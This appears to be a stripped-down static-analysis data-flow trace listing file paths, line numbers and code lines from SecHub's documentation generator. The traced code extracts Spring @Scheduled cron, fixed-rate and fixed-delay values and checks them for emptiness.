sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 16 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 17 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 18 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 19 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 20 + result + + 6 + + + 88 + return result; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 21 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 22 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 23 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 24 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 82 + 27 + 25 + string + + 6 + + + 82 + if (StringUtils.isEmpty(string)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 82 + 26 + 26 + isEmpty + + 1 + + + 82 + if (StringUtils.isEmpty(string)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 16 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 17 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 85 + 28 + 18 + cron + + 4 + + + 85 + if (!StringUtils.isEmpty(cron)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 85 + 27 + 19 + isEmpty + + 1 + + + 85 + if (!StringUtils.isEmpty(cron)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 16 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 17 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 18 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 19 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 20 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 36 + 21 + fixedRateString + + 15 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 4 + 22 + append + + 2 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 4 + 23 + sb + + 2 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 18 + 24 + sb + + 2 + + + 98 + String fixed = sb.toString().trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 29 + 25 + toString + + 1 + + + 98 + String fixed = sb.toString().trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 36 + 26 + trim + + 1 + + + 98 + String fixed = sb.toString().trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 10 + 27 + fixed + + 5 + + + 98 + String fixed = sb.toString().trim(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 100 + 27 + 28 + fixed + + 5 + + + 100 + if (StringUtils.isEmpty(fixed)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 100 + 26 + 29 + isEmpty + + 1 + + + 100 + if (StringUtils.isEmpty(fixed)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 16 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 17 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 18 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 19 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 20 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 130 + 28 + 21 + fixedRateString + + 15 + + + 130 + if (!StringUtils.isEmpty(fixedRateString)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 130 + 27 + 22 + isEmpty + + 1 + + + 130 + if (!StringUtils.isEmpty(fixedRateString)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 16 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 17 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 18 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 19 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 20 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 124 + 27 + 21 + fixedRateString + + 15 + + + 124 + if (StringUtils.isEmpty(fixedRateString)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 124 + 26 + 22 + isEmpty + + 1 + + + 124 + if (StringUtils.isEmpty(fixedRateString)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 95 + 20 + 16 + springScheduled + + 15 + + + 95 + appendFixedDelay(springScheduled, sb); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 110 + 42 + 17 + springScheduled + + 15 + + + 110 + private void appendFixedDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 29 + 18 + springScheduled + + 15 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 61 + 19 + fixedDelayString + + 1 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 10 + 20 + fixedDelayString + + 16 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 118 + 28 + 21 + fixedDelayString + + 16 + + + 118 + if (!StringUtils.isEmpty(fixedDelayString)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 118 + 27 + 22 + isEmpty + + 1 + + + 118 + if (!StringUtils.isEmpty(fixedDelayString)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 11 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 12 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 13 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 14 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 15 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 95 + 20 + 16 + springScheduled + + 15 + + + 95 + appendFixedDelay(springScheduled, sb); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 110 + 42 + 17 + springScheduled + + 15 + + + 110 + private void appendFixedDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 29 + 18 + springScheduled + + 15 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 61 + 19 + fixedDelayString + + 1 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 10 + 20 + fixedDelayString + + 16 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 112 + 27 + 21 + fixedDelayString + + 16 + + + 112 + if (StringUtils.isEmpty(fixedDelayString)) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 112 + 26 + 22 + isEmpty + + 1 + + + 112 + if (StringUtils.isEmpty(fixedDelayString)) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 